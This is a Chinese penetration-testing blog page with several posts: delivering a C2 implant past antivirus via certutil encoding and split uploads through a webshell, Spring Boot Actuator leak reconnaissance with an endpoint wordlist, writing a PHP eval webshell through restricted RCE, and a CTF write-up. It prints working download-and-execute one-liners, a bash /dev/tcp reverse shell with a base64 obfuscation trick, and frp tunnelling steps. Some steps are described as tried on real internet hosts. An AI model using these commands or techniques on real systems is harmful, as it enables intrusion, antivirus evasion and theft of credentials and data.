远程下载C2文件并执行通过 Certutil 远程下载C2文件并执行certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数通过 PowerShell 远程下载C2文件并执行powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数但我们目前的情况,虽然Web打点成功了,但是没办法写入或者下载C2进行上线(测试过了,几种文件远程下载的指令都被杀软拦截或者被系统屏蔽了),WebShell也没办法上传C2可执行文件 (服务器做了限制。除了TXT和图片,其他所有文件都上传不了!!!即便是一个普通的小程序,也是上传失败!) 这种情况,上线C2都基本不可能了,更别说提权和内网渗透了3# C2上传执行骚姿势综上所述,这个权限已经是很低很低了,但不慌,我们看看有什么办法能突破首先我们先要了解一个Windows系统的自带工具:Certutil{card-describe title="Certutil是什么"}certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。微软官方是这样对它解释的:Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。但是此合法Windows服务,现已被广泛滥用于恶意用途{/card-describe}很多人只知道可以通过 Certutil 进行远程下载文件(会被杀软拦截),但不知道它还能加密解密本地文件(不会报毒,可以用来ByPassAV)那我就通过本次实战案例,给大家演示一下整个ByPass过程:3.1 加密C2可执行文件首先,准备好C2可执行文件,通过 Certutil 进行加密导出Certutil -encode C2可执行文件名.exe out.txt可以打开导出的TXT,看到文件有如下特征:-----BEGIN CERTIFICATE----- 加密后的内容 -----END CERTIFICATE-----3.2 切割TXT文件上传并拼接、解密因为上面说了,太大的文件没办法通过WebShell上传写入,于是让我们测试一下极限:先试试2000行能否写入:2000行的数据写入是没问题的,那3000行呢?看,保存失败了,所以我们要将TXT切割后上传再拼接随便去网上下载一个TXT切割器,如下:好机会,切割出67个TXT,在服务器上新建一个文件夹,全部上传上去:再使用 copy 命令进行拼接:copy 1.txt + 2.txt + 3.txt + 4.txt + 5.txt + 6.txt + 7.txt + 8.txt + 9.txt + 10.txt out10.txt //out10.txt:合并1~10的前十个文件 copy 11.txt + 12.txt + 13.txt + 14.txt + 15.txt + 16.txt + 17.txt + 18.txt + 19.txt + 20.txt out20.txt //out20.txt:合并11~20的前十个文件 //如此往复,按照10个每组合并完成注意:这里不能用通配符(*.txt)进行 copy ,因为这样会打乱文件顺序,就解密不了了因为怕出错,我每10个文件 copy 一下,然后可以生成以下文件:确认无误后,再用 copy 命令再合并一次:copy out10.txt + out20.txt + out30.txt + out40.txt + out50.txt + out60.txt + out67.txt output.txt //合并总的文件最后输出 output.txt 用 Certutil 进行解密操作即可:Certutil -decode output.txt C2可执行文件名.exe3.3 执行C2文件上线机器上面已经成功将C2可执行文件解密出来了,然后执行上线即可:4# 总结很多时候,虽然看似“山穷水尽疑无路”,但仔细钻研,还是能“柳暗花明又一村”,有时候换个思路,可能就可以突破目前的困境。在后渗透过程中, Certutil 虽然可以进行远程下载文件(但会被杀软拦截),但它还能加密和解密本地文件(不会报毒,可以用来ByPassAV),这种思路在后渗透阶段还是值得学习和深入拓展的在本次实战情况下,面对苛刻的服务器条件,虽然没搞明白是如何做到让我无法通过WebShell上传EXE的,但是通过 Certutil 的加密解密机制,还是成功写入了C2可执行文件并上线提权,这不妨也是一种收获。
2023年02月25日
1,453 阅读
9 评论
17 点赞
2023-01-26
对于Spring Boot的渗透姿势
0# Spring Boot概述Spring Boot 是由Pivotal团队提供的全新框架,其设计目的是用来简化 Spring 应用的创建、运行、调试、部署等。使用 Spring Boot 可以做到专注于 Spring 应用的开发,而无需过多关注 XML 的配置。Spring Boot 使用“习惯优于配置”的理念,简单来说,它提供了一堆依赖打包,并已经按照使用习惯解决了依赖问题。使用 Spring Boot 可以不用或者只需要很少的 Spring 配置就可以让企业项目快速运行起来。Spring Boot 是开发者和 Spring 本身框架的中间层,帮助开发者统筹管理应用的配置,提供基于实际开发中常见配置的默认处理(即习惯优于配置),简化应用的开发,简化应用的运维;总的来说,其目的 Spring Boot 就是为了对 Java web 的开发进行“简化”和加“快”速度,简化开发过程中引入或启动相关 Spring 功能的配置。这样带来的好处就是降低开发人员对于框架的关注点,可以把更多的精力放在自己的业务代码上。1# Spring Boot Actuator概述Actuator 是 Spring Boot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的 Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的 Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进行暴露,大部分应用选择HTTP。Actuator 在带来方便的同时,如果没有管理好,会导致一些敏感的信息泄露;可能会导致我们的服务器,被暴露到外网,服务器可能会沦陷。2# Spring Boot框架的识别2.1 通过icon图标进行识别Fofa语法如下:icon_hash="116323821"可以搜索到25万条左右的资产数据,说明Spring Boot框架是应用广泛哈哈~(其中还有很多服务更改了默认的ico图标,所以这个语法找不到)2.2 通过网页内容进行识别Fofa语法如下:body="Whitelabel Error Page"哈哈,这个更夸张了,可以搜索到141万条左右的资产数据以下是 Spring Boot 框架的典型特征:所以可以通过Fofa对网页的body内容进行搜索找到那么多的资产3# Spring Boot框架 敏感信息泄露如果对 Spring Boot 框架熟悉的师傅,肯定知道对 Spring Boot 的渗透测试过程中,肯定不会少了敏感信息泄露和未授权访问相关的漏洞{card-describe title="不同版本分类讨论"}Spring Boot < 1.5:默认未授权访问所有端点、Spring Boot >= 1.5:默认只允许访问 /health 和 /info 端点,但是此安全性通常被应用程序开发人员禁用了{/card-describe}3.1 常见端点及其作用:路径是否默认启用功能描述/auditevents是显示当前应用程序的审计事件信息/beans是显示一个应用中所有Spring Beans的完整列表/conditions是显示配置类和自动配置类的状态及它们被应用或未被应用的原因/configprops是显示一个所有@ConfigurationProperties的集合列表/env是显示来自Spring的 ConfigurableEnvironment的属性/flyway是显示数据库迁移路径(如果存在)/health是显示应用的健康信息(当使用一个未认证连接访问时显示一个简单的’status’,使用认证连接访问则显示全部信息详情)/info是显示任意的应用信息/liquibase是展示任何Liquibase数据库迁移路径(如果存在)/metrics是展示当前应用的metrics信息/mappings是显示一个所有@RequestMapping路径的集合列表/scheduledtasks是显示应用程序中的计划任务/sessions否允许从Spring会话支持的会话存储中检索和删除用户会话/shutdown否允许应用以优雅的方式关闭(默认情况下不启用)/threaddump是执行一个线程dump/heapdump是返回一个GZip压缩的hprof堆dump文件/jolokia是通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用)/logfile是返回日志文件内容(如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息/prometheus是以可以被Prometheus服务器抓取的格式显示metrics信息独家字典于是,我这里独家整理了一份信息泄露字典(欢迎补充哈哈)actuator actuator/auditLog actuator/auditevents actuator/autoconfig actuator/beans actuator/caches actuator/conditions actuator/configurationMetadata actuator/configprops actuator/dump actuator/env actuator/events actuator/exportRegisteredServices actuator/features actuator/flyway actuator/health actuator/heapdump actuator/healthcheck actuator/heapdump actuator/httptrace actuator/hystrix.stream actuator/info actuator/integrationgraph actuator/jolokia actuator/logfile actuator/loggers actuator/loggingConfig actuator/liquibase actuator/metrics actuator/mappings actuator/scheduledtasks actuator/swagger-ui.html actuator/prometheus actuator/refresh actuator/registeredServices actuator/releaseAttributes actuator/resolveAttributes actuator/scheduledtasks actuator/sessions actuator/springWebflow actuator/shutdown actuator/sso actuator/ssoSessions actuator/statistics actuator/status actuator/threaddump actuator/trace auditevents autoconfig api.html api/index.html api/swagger-ui.html api/v2/api-docs api-docs beans caches cloudfoundryapplication conditions configprops distv2/index.html docs druid/index.html druid/login.html druid/websession.html dubbo-provider/distv2/index.html dump entity/all env env/(name) eureka flyway gateway/actuator gateway/actuator/auditevents gateway/actuator/beans gateway/actuator/conditions gateway/actuator/configprops gateway/actuator/env gateway/actuator/health gateway/actuator/heapdump gateway/actuator/httptrace gateway/actuator/hystrix.stream gateway/actuator/info gateway/actuator/jolokia gateway/actuator/logfile gateway/actuator/loggers gateway/actuator/mappings gateway/actuator/metrics gateway/actuator/scheduledtasks gateway/actuator/swagger-ui.html gateway/actuator/threaddump gateway/actuator/trace health heapdump heapdump.json httptrace hystrix hystrix.stream info integrationgraph jolokia jolokia/list liquibase list logfile loggers liquibase metrics mappings monitor prometheus refresh scheduledtasks sessions shutdown spring-security-oauth-resource/swagger-ui.html spring-security-rest/api/swagger-ui.html static/swagger.json sw/swagger-ui.html swagger swagger/codes swagger/index.html swagger/static/index.html swagger/swagger-ui.html swagger-dubbo/api-docs swagger-ui swagger-ui.html swagger-ui/html swagger-ui/index.html system/druid/index.html threaddump template/swagger-ui.html trace user/swagger-ui.html version v1.1/swagger-ui.html v1.2/swagger-ui.html v1.3/swagger-ui.html v1.4/swagger-ui.html v1.5/swagger-ui.html v1.6/swagger-ui.html v1.7/swagger-ui.html /v1.8/swagger-ui.html /v1.9/swagger-ui.html /v2.0/swagger-ui.html v2.1/swagger-ui.html v2.2/swagger-ui.html v2.3/swagger-ui.html v2/swagger.json webpage/system/druid/index.html %20/swagger-ui.html3.2 端点的敏感信息泄露样例这里先安利一款谷歌浏览器插件哈,名字叫 JSON Viewer ,可以美化JSON的相关页面注意,以下测试均是在Fofa上找的实例,漏洞其实离我们并不遥远3.2.1 访问/actuator如果设置了 management.endpoints.web.exposure.include 为 *,就可以在 /actuator 看到所有存在的端点,截图如下:3.2.2 访问/actuator/version会泄露一些相关的版本信息但这个目前很少有泄露了,一时半会没找到实例3.2.3 访问/env或者/actuator/env可能会泄露数据库账号密码等敏感信息针对env这种路径下泄露的密码会用星号进行脱敏,想要获取相应的明文密码,可以尝试通过分析heapdump数据的方式3.2.4 访问/actuator/metrics获得每个度量的名称,其中主要监控了JVM内容使用、GC情况、类加载信息等如果想要得到每个度量的详细信息,需要传递度量的名称到URL中,如下http://xx.xx.xx.xx/actuator/metrics/http.server.requests3.2.5 访问/actuator/threaddump获取服务器的线程堆栈信息3.2.6 访问/actuator/loggers获取服务器的日志级别3.2.7 访问/actuator/configprops查看配置文件中设置的属性内容,以及一些配置属性的默认值3.2.8 访问/actuator/info展示了关于应用的一般信息,这些信息从编译文件比如 META-INF/build-info.properties 或者 git 文件比如 git.properties 或者任何环境的 property 中获取3.2.9 访问/actuator/mappings响应信息描述全部的URI路径,以及它们和控制器的映射关系3.2.10 访问/actuator/healthhealth一般只展示了简单的UP和DOWN状态,比如这样:为了获得健康检查中所有指标的详细信息,就需要通过在 application.yaml 中增加如下内容:management: endpoint: health: show-details: always一旦打开上述开关,那么在 /health 中可以看到详细内容,比如下面这样{ "status": "UP", "diskSpace": { "status": "UP", "total": 209715195904, "free": 183253909504, "threshold": 10485760 } "db": { "status": "UP", "database": "MySQL", "hello": 1 } }3.2.11 访问/heapdump或者/actuator/heapdumpHeap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照Heap Dump是有着多种类型的,不过总体上heap dump在触发快照的时候都保存了java对象和类的信息通常在写heap dump文件前会触发一次FullGC,所以heap dump文件中保存的是FullGC后留下的对象信息。其中可能会含有敏感数据,如数据库的密码明文等直接访问路径会返回一个GZip压缩的JVM堆dump,其中是jvm heap信息。下载的heapdump文件大小通常在 50M—500M 之间,有时候也可能会大于 2G下载完成之后可以借助一些工具对其中的数据进行内容检索,寻找敏感信息Eclipse Memory Analyzer(MAT)heapdump_toolJDumpSpider都有参考文章,可以自行研究4# SpringBoot-Scan的使用日常渗透过程中,经常会碰到Spring Boot搭建的微服务,于是就想做一个针对Spring Boot的开源渗透框架主要用作扫描SpringBoot的敏感信息泄露端点,并可以直接测试Spring Boot的相关高危漏洞。于是,就写了这么一个工具:SpringBoot-Scan 【简称:“SB-Scan”(错乱】开源地址:https://github.com/AabyssZG/SpringBoot-Scan感觉不错的话,麻烦师傅点个Star啦~有问题的话,也可以提交issues或者私聊我都行哈哈~5# 参考链接https://blog.csdn.net/u012206617/article/details/109010102https://blog.csdn.net/m0_64867220/article/details/121728868https://www.freebuf.com/vuls/289710.html
2023年01月26日
2,748 阅读
4 评论
17 点赞
2023-01-05
Web系统的RCE漏洞的Getshell姿势
情景描述今天早上在研究一个Web系统的0Day,虽然是个任意命令执行漏洞,但是这个RCE有些局限,就想通过RCE写个WebShell提提权再看看目标系统:Microsoft Windows Server 2019 Standard动态脚本:PHP 5.6GetShell姿势通常我们写入文件,通常都会使用CMD的echo命令echo 文件内容 > "文件名"假如我们要写php一句话的时候,比如:<?php eval($_POST["aabyss"]); ?>这时候有同学就想到这样不就好了:echo <?php eval($_POST["aabyss"]);?> > "webshell.php"但实际上这样是不行的,因为以下特殊符号是无法直接放入echo语句(执行会提示语法错误或者无法写入这些符号):& | > < +所以通常我们会把特殊符号通过^来进行转义,比如这样:echo ^<?php eval($_POST["aabyss"]);?^> > "webshell.php"通常就能写入了难点来了但是我早上尝试的那个0day,语句没办法通过^进行转义,或者写入的流量被WAF拦截,怎么办呢?首先,我想到了通过""双引号进行包含进行写入,比如:echo echo "<?php eval($_POST["aabyss"]);?>" > "webshell.php"文件内容如下:"<?php eval($_POST["aabyss"]);?>"这样虽然能写入& | > < +这些特殊符号,但是代码最外层带了"",实测php代码是无法执行的于是我又想到了Base64编码进行写入,首先对一句话内容进行base编码:于是得到编码后的Base64字符串,如下:PD9waHAgZXZhbCgkX1BPU1RbImFhYnlzcyJdKTsgID8+但是通过上文,我们发现+也是不能写入的,怎么办呢?这时候插入在外部插入一些数字就能简单解决啦:这时候就得到一份做好的Base64字符串:MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy接下来通过echo将Base64字符串写入TXT文件即可:echo MTw/cGhwIGV2YWwoJF9QT1NUWyJhYWJ5c3MiXSk7ICA/PjEy > "base64.txt"接下来通过命令进行解密:certutil -f -decode "base64.txt" "webshell.txt"然后将webshell.txt复制为php文件即可大功告成:copy webshell.txt webshell.php其他一些tips查看当前目录:cd解密Base64文件到上层目录:certutil -f -decode "base64.txt" "../webshell.txt"将命令输入内容写入文件查看:命令 >> out.txt
2023年01月05日
344 阅读
2 评论
7 点赞
2022-12-21
2022安恒杯决赛思路分享
比赛概述难以置信,我们是第一名!!!感谢同一队的@Mstir师傅和我的密切合作哈哈 安恒杯初赛是CTF,我博客前面两篇文章写了一部分解题思路,后面看看要不要再把一些解题思路放上来(主要是懒哈哈,懒得码字)决赛的话,就不是CTF的赛制了,而是综合渗透赛制,这个有点像AWD但又不像本来我和 @Mstir 师傅也只是想认真比一下的,但没想到拿了第一,真的意想不到有些师傅想要让我分享一下这次比赛,那我就在这里简单的分享一下吧何为综合渗透赛制?综合渗透赛制,又称靶场综合渗透,此模式涉及多个前沿热门应用、同时涉及了多层网络,模拟真实企业生产环境,比如上线一套分布在不同网络区域的多台漏洞靶机,参赛队伍通过内网渗透获取靶机相应权限,从而读取相应的Flag(旗标文件)。涉及的知识点有内网安全、反向代理、内网穿透、服务器提权、中间件安全、数据库安全等。简单来说,就是我们作为攻击方,通过对模拟真实环境的靶机进行渗透来获取关键Flag1# 准备阶段前期:摄像头、录屏工具(EV录屏、Bandicam)因为比赛的时候,我们学校放假了,因为本次比赛有非常强的防作弊措施,比赛全程都要开启并接入监控摄像头,比赛全程所有选手的电脑必须录屏并提交,所以这两个必须要准备比赛期间:一台公网服务器:用来反弹Shell和Frp转发流量7kbScan:用于扫描Web敏感路径的BurpSuite:著名的抓包工具,爆破Web的密码要用AntSword(蚁剑):用于连接WebShell和访问数据库以及提权SolrVulScan1.0-win64.jar:本次比赛出现CVE-2019-17558这个Apache Solr的漏洞,所以需要利用工具Solr_CVE-2019-17558.py:同上,Python的漏洞利用脚本Fscan:内网扫描神器,相信很多师傅都用过Frp:用于内网渗透的时候将内网流量代理出来Proxifier:用于配合Frp,给本机系统进行全局代理Navicat(可选):数据库可视化连接工具,配合Frp连接内网数据库Ladon拉冬:K8师傅开发的内网渗透、提权必备神器DayBreak破晓平台:斗象科技开发的轻量级C2平台项目,我拿到了内测权限,用来上线Linux,可以用CobaltStrike替代能想到的工具目前就这些了,如果还有的话再补充2# 整体思维导图3# 比赛过程3.1# 外网打点阶段-phpok首先给了一个外网地址:162.14.*.*(扫描后,发现开了两个端口:80和8983端口)80端口,访问后是一个网站:显示使用phpok这个源码搭建的:直接上手7kbscan,扫描路径:扫出了一个robots.txt和admin.phprobots.txt里面带了一个flag14,admin.php是后台地址用BurpSuite爆破后台账号密码,注意这里需要识别验证码进行爆破,相关的姿势去百度有很多文章,这里就不赘述了爆破出后台账号密码:admin/admin123吐槽:估计是怕BurpSuite带验证码爆破有些队伍不会,提示Hint1直接给了账号密码,我爆破半天。。 登录后台后,百度可以找到phpok存在后台任意文件上传 (CVE-2018-12491)漏洞,直接跟着文章复现漏洞即可: https://blog.csdn.net/weixin_42675091/article/details/126673611 至此,我们拿到了WebShell,用AntSword连接即可:找到数据库配置文件,连上本地数据库:数据库地址:127.0.0.1数据库账号:root数据库密码:abc123...数据库名:phpok4simple直接可以通过蚁剑连上数据库,但是翻了翻没flag,估计在其他地方然后直接通过WebShell到/home/目录下,就找到了flag1:3.2# 外网打点阶段-Apache Solr转头来看对外开放的Solr服务:直接Python脚本一把梭哈哈,也能拿到falg13.3# 上线机器直接在Web目录下上传二进制文件,命令直接执行即可上线:在DayBreak破晓平台即可看到机器上线了:可以很清楚的看到,上线的机器内网地址为172.16.238.20同样,可以直接通过WebShell执行反弹shell指令,但是直接执行好像不行:bash -i >& /dev/tcp/8.***.**.**/25565 0>&1这时候,就需要对命令进行编码即可绕过进行反弹shell:bash -c '{echo,base64编码后的字符串}|{base64,-d}|{bash,-i}'3.4# 内网扫描直接丢个Ladon拉冬或者Fscan扫内网就行了这时候提示Hint2来了,直接给内网C段:172.16.238.0/24(话说用WebShell看一下地址不就好了吗,这还需要提示???)我这边同时使用Fscan和DayBreak破晓平台同时开始内网扫描:上传fscan_amd64,使用以下命令:/var/www/html/fscan_amd64 -h 172.16.238.0/24 > 222.txt将扫描结果直接导入222.txt结果如下:start ping (icmp) Target 172.16.238.20 is alive (icmp) Target 172.16.238.50 is alive (icmp) Target 172.16.238.10 is alive (icmp) Target 172.16.238.1 is alive (icmp) Target 172.16.238.30 is alive (icmp) Target 172.16.238.40 is alive [*] Icmp alive hosts len is: 6 172.16.238.30:8080 open 172.16.238.20:80 open 172.16.238.40:22 open 172.16.238.1:22 open 172.16.238.30:8009 open 172.16.238.50:445 open 172.16.238.50:139 open 172.16.238.1:80 open 172.16.238.40:3306 open 172.16.238.1:8983 open 172.16.238.10:8983 open [*] alive ports len is: 11 start vulscan [*] NetBios: 172.16.238.50 56b9f476dcc9 Windows 6.1 [*] 172.16.238.50 (Windows 6.1) [*] WebTitle: http://172.16.238.10:8983 code:302 len:0 title:None 跳转url: http://172.16.238.10:8983/solr/ [*] WebTitle: http://172.16.238.30:8080 code:200 len:11230 title:Apache Tomcat/8.0.43 [*] WebTitle: http://172.16.238.10:8983/solr/ code:200 len:14634 title:Solr Admin [*] WebTitle: http://172.16.238.20 code:200 len:14255 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1 code:200 len:14213 title:闻道集团 - 网站建设|企业网站建设|PHPOK网站建设|PHPOK企业网站建设 [*] WebTitle: http://172.16.238.1:8983 code:302 len:0 title:None 跳转url: http://172.16.238.1:8983/solr/ [*] WebTitle: http://172.16.238.1:8983/solr/ code:200 len:14634 title:Solr Admin [+] http://172.16.238.30:8009 poc-yaml-iis-put-getshell [+] http://172.16.238.30:8080 poc-yaml-tomcat-cve-2017-12615-rce [+] http://172.16.238.1:8983 poc-yaml-solr-velocity-template-rce [+] http://172.16.238.10:8983 poc-yaml-solr-velocity-template-rce //内置的ssh没爆破成功,这部分就删掉了 已完成 11/11 [*] 扫描结束,耗时: 6m40.996181292sDayBreak破晓平台扫描结果如下:没问题,两边都扫描出这些端口和内容,应该算是没有遗漏了扫出172.16.238.40这台机器开放了3306端口(MySQL数据库),加上我们之前拿到WebShell之后可以看到数据库连接的账号密码,就尝试连接发现flag5:3.5# Frp内网流量带出测试了以下,内网172.16.238.0/24是不出网的,必须要用Frp将流量带出来下载Frp: fatedier/frp 很简单,frpc是客户端,frps是服务端配置frpc.ini:# frpc.ini [common] server_addr = 自己公网服务器地址 server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 plugin = socks5 //这一句必须要加,不然代理连不上客户端通过WebShell上传,frps上传到自己的公网服务器上,配置frps.ini:# frps.ini [common] bind_port = 7000接下来要在自己的公网服务器上开6000和7000这两个端口,并执行命令进行监听:./frps -c ./frps.ini再在上线的那台机器上执行命令:/var/www/html/frp/frpc -c ./frpc.ini这样就可以成功将内网流量通过公网服务器的6000端口代理出来了,接下来使用Proxifier配合Frp对本地系统进行全局代理:3.6# 内网渗透既然上面发现172.16.238.1和172.16.238.10存在Solr漏洞,直接用SolrVulScan1.0-win64.jar打过去:也能拿到一个flag,这里就不放出来了同时,172.16.238.30的8080端口有Tomcat服务也存在漏洞,内网流量代理出来后就很方便了,直接本机打就行了:同样,读取/home/flag即可拿到flag4# 主办方提示汇总Hint1:CVE-2019-17558 find提权 admin/admin123 1. SUID提权 2. oklite的robots.txt 别忘了,然后试试 admin/admin123 登录。Hint2:1. 一层内网地址:172.16.238.0/24 2. 多扫扫,内网机器的洞很好搞的。Hint3:getshell后尽量用frp或者nps,尽量不要用 reGeorg 之类的正向代理工具,Apache可经不起你这样跑:)HInt4:注意数据安全,数据库里可能也会有flag,别光GetShell,翻下数据库。Hint5:172.16.238.40,MYSQL,用oklite的config.php里的密码去连,同学们渗透要做好信息收集。Hint6:冰蝎不行可以用蚁剑。 MYSQL UDF,还有flag。总结共8个flag,我们总共找到6个flag最后时间不够了,不然172.16.238.40的MySQL进行UDF提权,估计还能拿到一个flagMySQL提权可以看我这篇文章: MySQL不出网文件落地上线姿势队伍里面合作很重要,感谢 @Mstir 师傅和我的密切配合这种比赛需要自备一台公网服务器,不然后期的内网渗透寸步难行自己渗透的速度还是不够,如果再快点,能把全部flag都找到,还要多加练习信息搜集很重要,特别是内网的信息,40那台机器的数据库我也差点忽略了哈哈感谢安恒科技和各个主办单位,给我们这次机会展示自己,没想到真的拿了第一名
2022年12月21日
1,010 阅读
5 评论
16 点赞
1
2